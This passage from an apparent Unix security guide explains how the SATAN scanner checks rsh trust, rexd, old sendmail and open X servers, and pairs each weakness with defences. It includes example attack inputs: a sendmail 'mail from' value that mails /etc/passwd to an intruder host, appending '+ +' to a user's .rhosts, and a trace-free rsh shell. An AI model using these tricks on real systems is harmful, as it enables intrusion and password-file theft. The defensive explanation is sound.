System accounts such as bin or daemon should not have functional shells. For example, here is a passwd entry for the user adm:

adm:*:4:4::/usr/adm:/bin/sh

Even though the adm account appears to prevent a login, by having an * in the passwd field (which can sometimes also indicate a shadow passwd entry), a remote user can still log in if an .rhosts file exists in /usr/adm. If the shell indicated /bin/false, a remote user could not gain access to this account, even if an .rhosts file existed.

Note that rshd (remshd) does not generate an entry into the utmp/wtmp files when merely executing a remotely requested service. rlogind and telnetd invoke /bin/login, which logs information into those auditing files. If the intruder has root access, the audit trails can be edited; however, if the intruder does not have root access, these audit trails can help the system administrator track down the hacker. The hacker could invoke rsh to the system and invoke csh -i, which would offer the hacker a shell (but no pty/tty) but leave no traces in the utmp/wtmp. By using tcp-wrapper, a system administrator can track such accesses, even though the utmp/wtmp file does not store any information.

Trust-based mechanisms are dangerous. Firewalls should screen out the shell and login ports to prevent Internet users from gaining direct access to these services. Firewall systems should never permit .rhosts or hosts.equiv files to be used. Most rlogind and rshd (remshd) servers permit command-line options (-l) in inetd.conf to prevent .rhosts or hosts.equiv files from being accessed.

SATAN attempts to rsh (remsh) to the target system using a custom C program that directly calls the rcmd() routine. It first tries as user bin and root. If access is permitted, SATAN assumes that rshd (remshd) trusts the world and has a + in the hosts.equiv. SATAN tries the guest user if the remote system is an SGI IRIX system, because SGI ships systems without passwords for the guest user.

rexd

The rexd service enables a remote user to execute a command on the server, similar to rsh or remsh but with the added feature that the local file system of a user is NFS-mounted on the remote system, and local environment variables are exported to that remote system. The remote system, by default, does no authentication other than confirming that the uid and gid of the client requesting the service exists on the remote system (auth_unix).

The client system uses the on command to invoke the command on the remote rexd server. The on command takes the current uid setting of the invoking user. A hacker can either su to a uid that exists on the remote system, such as bin or daemon, or create a custom program that does this automatically. SATAN uses a custom program called rex to do this.

The rexd can be invoked with an -r option to require that the client system be listed in hosts.equiv. rexd is invoked from inetd, so the tcp-wrapper, or inetd.sec file, can be used to filter out requests based on originating IP addresses. However, both of these security enhancements are somewhat weak. rexd should never be available on hosts connected to the Internet.

SATAN checks with the portmap program to see if rexd is available and then uses rex to get the /etc/motd as proof of access.

sendmail

The sendmail daemon runs on nearly all Unix hosts, listening on the smtp port and offering to enter into an smtp transaction with any remote system. This is a requirement for standard e-mail service. Combining this with the fact that sendmail runs set-uid root on most systems, and the fact that sendmail is made up of thousands of lines of C code, has made sendmail the source of many security holes. New ones are found quite frequently.

SATAN looks for older versions of sendmail by examining the output of the initial line from the smtp connection. If the version corresponds to one before 8.6.10 (with some corresponding vendor-specific version numbers), it reports a vulnerability.

SATAN includes examples of two sendmail holes: mailing to file and mailing to programs. sendmail should not permit remote users to specify a file or a program: these should only be a result of alias or .forward expansions on the system running sendmail.

For example, old versions of sendmail permitted a remote user to specify a recipient of /home/bkelley/.rhosts. The data portion of the mail message would be appended to this file. If the data portion contained + +, any remote user could rlogin to the system as bkelley.

For an example of program mailing, recent versions of sendmail permitted a sender to be a program: during the smtp transaction, a mail from: ‘|/bin/mail bkelley@intruder.com < /etc/passwd’ combined with a rcpt to: nosuchuser would result in a bounced e-mail message being sent to the /bin/mail program command. This command would then mail the /etc/passwd file to bkelley.

The sendmail syslog buffer problem was discussed earlier, as was the “newline in queue file R lines” attack. Another attack found in 5.6 sendmail involved specifying two users in the rcpt to: line, the second user being a program or file. If sendmail queued the file, the second user would be written to a separate R line in the queue file and never be tested to see if it was a program or file.

All the preceding attacks, and many more, have been documented in CERT advisories and vendor patches. However, not all systems are vigilantly patched.

X Server

Many workstations run the X server while permitting unrestricted remote access by using xhost +. This permits any remote system to gain control over the system, including reading user keystrokes, reading anything that is sent to the screen, starting or stopping any application, and taking control over the currently running session.

SATAN uses xhost to make this check. It could use the XOpenDisplay() call to see if the remote display permitted the intruder system, and therefore anyone, to have access. However, SATAN uses the xhost program to do this by first setting the DISPLAY variable to the target system and then running xhost via DISPLAY=target.notreal.com:0.0 xhost. If the remote system permits access to the intruder system, this command will work.

Instead of using the xhost mechanism, which depends on IP addresses for authentication, the .Xauthority file and magic cookies can be used. A utility program called xauth extracts a magic cookie from the X server. (The magic cookie is created either by xdm or the user at the beginning of each session.) This magic cookie can be sent to client systems and merged with the .Xauthority files by using the xauth merge command. Each access by the client system includes the magic cookie that the X server uses to authenticate the client request.